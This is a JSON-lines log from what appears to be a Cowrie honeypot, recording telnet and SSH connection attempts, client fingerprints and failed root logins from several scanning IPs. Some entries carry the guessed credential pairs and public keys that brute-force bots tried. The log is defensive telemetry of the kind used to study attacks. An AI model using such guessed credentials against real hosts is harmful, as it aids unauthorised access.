{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":51796,"dst_ip":"159.203.135.109","dst_port":23,"session":"70a97fac6426","protocol":"telnet","message":"New connection: 128.199.8.54:51796 (159.203.135.109:23) [session: 70a97fac6426]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:40:39.650432Z"}
{"eventid":"cowrie.session.closed","duration":34.32087850570679,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:40:43.538758Z","src_ip":"128.199.8.54","session":"b16f2f73cbae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":34210,"dst_ip":"10.17.0.5","dst_port":22,"session":"0bbcb3ddcc56","protocol":"ssh","message":"New connection: 103.15.226.202:34210 (10.17.0.5:22) [session: 0bbcb3ddcc56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:40:43.904040Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:40:43.908778Z","src_ip":"103.15.226.202","session":"0bbcb3ddcc56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:40:44.160754Z","src_ip":"103.15.226.202","session":"0bbcb3ddcc56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12","message":"login attempt [root/12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:40:44.926615Z","src_ip":"103.15.226.202","session":"0bbcb3ddcc56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:40:46.179564Z","src_ip":"103.15.226.202","session":"0bbcb3ddcc56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.668554067611694,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:40:48.049110Z","src_ip":"128.199.8.54","session":"a4e665dc6d5c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":51760,"dst_ip":"159.203.135.109","dst_port":23,"session":"a7512dc77381","protocol":"telnet","message":"New connection: 128.199.8.54:51760 (159.203.135.109:23) [session: a7512dc77381]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:40:51.679201Z"}
{"eventid":"cowrie.session.closed","duration":33.93771243095398,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:40:52.751148Z","src_ip":"128.199.8.54","session":"91d2be1950c7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"148.135.70.18","src_port":51168,"dst_ip":"10.17.0.5","dst_port":22,"session":"985aab69f981","protocol":"ssh","message":"New connection: 148.135.70.18:51168 (10.17.0.5:22) [session: 985aab69f981]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:40:55.797891Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:40:55.803061Z","src_ip":"148.135.70.18","session":"985aab69f981","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:40:55.872955Z","src_ip":"148.135.70.18","session":"985aab69f981","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1f:9d:59:cb:d2:32:fa:7b:bc:fc:fa:fc:eb:ad:cc:67","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCtt4vW9qFPK2FwC76Ft+JHM1BN/CqutivpQHzDJ4r8U0XY2wUKQSMoVGhxs1ANw0yQHfoukyBf+Aqu4GBFO9tEDNTg4ZYlIln8d06e5iqhCIuPQNhpghH+KrXz9yUfYtYAU2Cei0wSnBrSbhKh4bw0cnkDxFzUbvTbvTOlOmANcUUjU8Dcseqc20wuwhAA1XxVFyGQ0ltJ7V7vYMtLlJu0scchA4YLlOwlL1VOboN7vmvYY0C/YkezE2jMmkFEtJKJi6F69ZT0Zle5ROToqKCZ4/1hsDZIBjdRUaLFRjrhhRV4A4HRq9YOHLAcyqwmzgQ1nQgQ0S9v/ISeolR/gslj","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1f:9d:59:cb:d2:32:fa:7b:bc:fc:fa:fc:eb:ad:cc:67","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:40:56.192073Z","src_ip":"148.135.70.18","session":"985aab69f981","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1f:9d:59:cb:d2:32:fa:7b:bc:fc:fa:fc:eb:ad:cc:67","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCtt4vW9qFPK2FwC76Ft+JHM1BN/CqutivpQHzDJ4r8U0XY2wUKQSMoVGhxs1ANw0yQHfoukyBf+Aqu4GBFO9tEDNTg4ZYlIln8d06e5iqhCIuPQNhpghH+KrXz9yUfYtYAU2Cei0wSnBrSbhKh4bw0cnkDxFzUbvTbvTOlOmANcUUjU8Dcseqc20wuwhAA1XxVFyGQ0ltJ7V7vYMtLlJu0scchA4YLlOwlL1VOboN7vmvYY0C/YkezE2jMmkFEtJKJi6F69ZT0Zle5ROToqKCZ4/1hsDZIBjdRUaLFRjrhhRV4A4HRq9YOHLAcyqwmzgQ1nQgQ0S9v/ISeolR/gslj","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:40:56.195970Z","src_ip":"148.135.70.18","session":"985aab69f981","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"39:eb:ec:78:9e:cb:c8:13:34:3b:a6:5f:80:a7:33:0f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQxSKlaFiV04o/LjqNHnZhfYaUt6JW46yqY+YFFM9c3hAim6qdGUEb14/LXrJ1F+15utiBpVM1852TUGrvwtRNZXZvgsaMHPUfpYEcxlwD1aJ5s7n1SXYiipDrDAhO9AlthdzoIqbpT94SBJyyLMaqzYahnA2YbAHHqWNQlf57t9lIhL/50MsCf7n9af3CQZdwLlU1VZD1VzMyoBGALM5FwPAOQxLNqa9hXXxNesbMePmIhOMVhfyQXbIlnIb6u3vA2NzdLmyF5NYqd46DHU7UK1shVRYl0Lk1TEmQVds5RCDN0dHDFwJGGyJ30i0W+Q+S00SZVKnKMw4Pa4O1bxkn","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 39:eb:ec:78:9e:cb:c8:13:34:3b:a6:5f:80:a7:33:0f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:40:56.265439Z","src_ip":"148.135.70.18","session":"985aab69f981","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"39:eb:ec:78:9e:cb:c8:13:34:3b:a6:5f:80:a7:33:0f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQxSKlaFiV04o/LjqNHnZhfYaUt6JW46yqY+YFFM9c3hAim6qdGUEb14/LXrJ1F+15utiBpVM1852TUGrvwtRNZXZvgsaMHPUfpYEcxlwD1aJ5s7n1SXYiipDrDAhO9AlthdzoIqbpT94SBJyyLMaqzYahnA2YbAHHqWNQlf57t9lIhL/50MsCf7n9af3CQZdwLlU1VZD1VzMyoBGALM5FwPAOQxLNqa9hXXxNesbMePmIhOMVhfyQXbIlnIb6u3vA2NzdLmyF5NYqd46DHU7UK1shVRYl0Lk1TEmQVds5RCDN0dHDFwJGGyJ30i0W+Q+S00SZVKnKMw4Pa4O1bxkn","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:40:56.269855Z","src_ip":"148.135.70.18","session":"985aab69f981","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"30:ff:5c:1a:56:bb:97:2c:57:2d:4b:44:2c:0b:04:ac","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDOrVuq8Q9IYB/7ofjB5YZhW7UA/bBhw8szDXrds9GQLxPxYEqbKdOHCpRcSvO6BXKAADaBLgGDEWpHLsTfcSQCjye5t5KeOADj0sgrV1IfHGVx27dXtGksx8oVKwc80kKZ41TPs8nLWFN9ub9PcwREW+mkuQ2gm0t3a4Vfnqg7Ej5MHdkgZCv4O7tOOIxLaEEsRgKK8EdkcDkEp6S+neOKvLI33bHs8TJA9enl+m2ttpledtPMiCZFJErt5CHaRGy62k+P7quTVniXQikT10YWg00k9tgbQY2L6mRyVRuZwlcRRCVpG9gUedqfb7bSV37tMLFbi07+uPlFVtP4eVzMSzZ8R9DYpXzJB+mmcE5d//VU03ZPBfGFy76LirYEX15oqN7KcrXezjY7ci4b3M44I42uKhZSYbgB5qcS/7jW93gGSAvPAOgIHWzljlBc6hrGcPGv4yqTeQ04mIo0Pm2mjceZtbZgvfPR6YHtt8c7pcNeDcOqduDEwMI7aYO7kIolWSPdQ4ZvHo7kCASDoJryObKEVff0r+sBO7dmQER1j6QQI6tzkWrMcqTUNPEONyNWzag6Em7+c6S3mcvuqOebgsjs95odAPker0pHVVoZyq0DNLyEmQNc4Gd107nz63mKqM7pAUCye7RD5VyV+jnEQrUMsFmwDpAnnF/CwW0Snw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 30:ff:5c:1a:56:bb:97:2c:57:2d:4b:44:2c:0b:04:ac","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:40:56.338795Z","src_ip":"148.135.70.18","session":"985aab69f981","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"30:ff:5c:1a:56:bb:97:2c:57:2d:4b:44:2c:0b:04:ac","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDOrVuq8Q9IYB/7ofjB5YZhW7UA/bBhw8szDXrds9GQLxPxYEqbKdOHCpRcSvO6BXKAADaBLgGDEWpHLsTfcSQCjye5t5KeOADj0sgrV1IfHGVx27dXtGksx8oVKwc80kKZ41TPs8nLWFN9ub9PcwREW+mkuQ2gm0t3a4Vfnqg7Ej5MHdkgZCv4O7tOOIxLaEEsRgKK8EdkcDkEp6S+neOKvLI33bHs8TJA9enl+m2ttpledtPMiCZFJErt5CHaRGy62k+P7quTVniXQikT10YWg00k9tgbQY2L6mRyVRuZwlcRRCVpG9gUedqfb7bSV37tMLFbi07+uPlFVtP4eVzMSzZ8R9DYpXzJB+mmcE5d//VU03ZPBfGFy76LirYEX15oqN7KcrXezjY7ci4b3M44I42uKhZSYbgB5qcS/7jW93gGSAvPAOgIHWzljlBc6hrGcPGv4yqTeQ04mIo0Pm2mjceZtbZgvfPR6YHtt8c7pcNeDcOqduDEwMI7aYO7kIolWSPdQ4ZvHo7kCASDoJryObKEVff0r+sBO7dmQER1j6QQI6tzkWrMcqTUNPEONyNWzag6Em7+c6S3mcvuqOebgsjs95odAPker0pHVVoZyq0DNLyEmQNc4Gd107nz63mKqM7pAUCye7RD5VyV+jnEQrUMsFmwDpAnnF/CwW0Snw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:40:56.343063Z","src_ip":"148.135.70.18","session":"985aab69f981","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cc:03:a0:f0:17:4b:a1:1e:a1:8b:4c:c3:95:f2:d6:f9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA1sfbngU64GQVqfbmHuh3gif3k4yuigY+4ors+hJXTs4vJ9A4KxHLfzWIE8ZjSgFqqzIYYUm2kbHtQ183Qsm/MMbjE70Bg/8lm3qYfxjPRTW+dACRRumm1qjmDJ0wOpPX9ZRKKPmTpSYxr4oQaHY5qcB+nEUpU72G9xu7WOQhSfRNb5fZeYvgfDY8V+/f9RRkXkQyiwj3Um2oN4j0bKTcwWHK8qcIU8AibI/7bz3zz5AicGCIopasU+TlBM9hCcZbN6oBHtU/lRl58lWYVvICZ1/6VohtWpHpDHc09fluCfkORRYC+jVVP6tE8TDGu3vPkFfabcFQQ+2Ds+V0CGwCEw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cc:03:a0:f0:17:4b:a1:1e:a1:8b:4c:c3:95:f2:d6:f9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:40:56.413095Z","src_ip":"148.135.70.18","session":"985aab69f981","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cc:03:a0:f0:17:4b:a1:1e:a1:8b:4c:c3:95:f2:d6:f9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA1sfbngU64GQVqfbmHuh3gif3k4yuigY+4ors+hJXTs4vJ9A4KxHLfzWIE8ZjSgFqqzIYYUm2kbHtQ183Qsm/MMbjE70Bg/8lm3qYfxjPRTW+dACRRumm1qjmDJ0wOpPX9ZRKKPmTpSYxr4oQaHY5qcB+nEUpU72G9xu7WOQhSfRNb5fZeYvgfDY8V+/f9RRkXkQyiwj3Um2oN4j0bKTcwWHK8qcIU8AibI/7bz3zz5AicGCIopasU+TlBM9hCcZbN6oBHtU/lRl58lWYVvICZ1/6VohtWpHpDHc09fluCfkORRYC+jVVP6tE8TDGu3vPkFfabcFQQ+2Ds+V0CGwCEw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:40:56.417159Z","src_ip":"148.135.70.18","session":"985aab69f981","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"64:0a:2f:70:9a:3a:9e:36:a3:21:ca:bc:f4:16:80:5c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDOq6dDR/22SMv29/lU24eQWcsqfuO2DHSr9N4vbMV6SPT0HNX3M6k9UZ1JzVv761evxqwj/0Rhpok33yHeNBxKJNE0HR1ITq8XbYoZHafnF7ZoiphQz4SBvRhbHdBfAiBVzfn1fSDu5Ny0juRSAaWuvI4pka/60Z5wk8NHr3BdOyc7BcEUJZgRT2h64YjdeDXj5jE+k3igySujmBpcuMRadhbBu1l/hXBv72O5efijfXYvYssdX+150a/f0L6xIqJGUBBMDoc51ZGJINlhcbh+3Vgf9ogveWAKYm0knDbaF9+I57FpxGSmvvu/rJlTyqL6CnatDfZOix8Tzhm4xODD","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 64:0a:2f:70:9a:3a:9e:36:a3:21:ca:bc:f4:16:80:5c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:40:56.487422Z","src_ip":"148.135.70.18","session":"985aab69f981","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"64:0a:2f:70:9a:3a:9e:36:a3:21:ca:bc:f4:16:80:5c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDOq6dDR/22SMv29/lU24eQWcsqfuO2DHSr9N4vbMV6SPT0HNX3M6k9UZ1JzVv761evxqwj/0Rhpok33yHeNBxKJNE0HR1ITq8XbYoZHafnF7ZoiphQz4SBvRhbHdBfAiBVzfn1fSDu5Ny0juRSAaWuvI4pka/60Z5wk8NHr3BdOyc7BcEUJZgRT2h64YjdeDXj5jE+k3igySujmBpcuMRadhbBu1l/hXBv72O5efijfXYvYssdX+150a/f0L6xIqJGUBBMDoc51ZGJINlhcbh+3Vgf9ogveWAKYm0knDbaF9+I57FpxGSmvvu/rJlTyqL6CnatDfZOix8Tzhm4xODD","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:40:56.491263Z","src_ip":"148.135.70.18","session":"985aab69f981","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:40:56.559621Z","src_ip":"148.135.70.18","session":"985aab69f981","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":36434,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a2eaab54dcb","protocol":"telnet","message":"New connection: 128.199.8.54:36434 (159.203.135.109:23) [session: 2a2eaab54dcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:40:57.507951Z"}
{"eventid":"cowrie.session.closed","duration":33.39219880104065,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:41:00.120054Z","src_ip":"128.199.8.54","session":"232840676e36","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.028968811035156,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:41:09.215000Z","src_ip":"128.199.8.54","session":"237e2344b82f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.77078914642334,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:41:13.168412Z","src_ip":"128.199.8.54","session":"cf13ac462ec9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.55949258804321,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:41:13.209770Z","src_ip":"128.199.8.54","session":"70a97fac6426","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":45130,"dst_ip":"159.203.135.109","dst_port":23,"session":"295e89ae43fe","protocol":"telnet","message":"New connection: 128.199.8.54:45130 (159.203.135.109:23) [session: 295e89ae43fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:41:17.981776Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":34812,"dst_ip":"159.203.135.109","dst_port":23,"session":"387aace30d49","protocol":"telnet","message":"New connection: 69.6.249.0:34812 (159.203.135.109:23) [session: 387aace30d49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:41:21.705757Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":38844,"dst_ip":"159.203.135.109","dst_port":23,"session":"d1510cc79fa9","protocol":"telnet","message":"New connection: 128.199.8.54:38844 (159.203.135.109:23) [session: d1510cc79fa9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:41:25.849622Z"}
{"eventid":"cowrie.session.closed","duration":34.29158616065979,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:41:25.970681Z","src_ip":"128.199.8.54","session":"a7512dc77381","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00218677520752,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:41:28.390306Z","src_ip":"212.55.149.117","session":"0faf04daf062","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":49770,"dst_ip":"159.203.135.109","dst_port":22,"session":"1b65046a08bf","protocol":"ssh","message":"New connection: 80.94.92.186:49770 (159.203.135.109:22) [session: 1b65046a08bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:41:28.486181Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:41:28.857399Z","src_ip":"80.94.92.186","session":"1b65046a08bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:41:28.862744Z","src_ip":"80.94.92.186","session":"1b65046a08bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lighthouse","password":"lighthouse","message":"login attempt [lighthouse/lighthouse] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:41:29.677025Z","src_ip":"80.94.92.186","session":"1b65046a08bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:41:30.988428Z","src_ip":"80.94.92.186","session":"1b65046a08bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.509881258010864,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:41:34.017539Z","src_ip":"128.199.8.54","session":"2a2eaab54dcb","protocol":"telnet"}
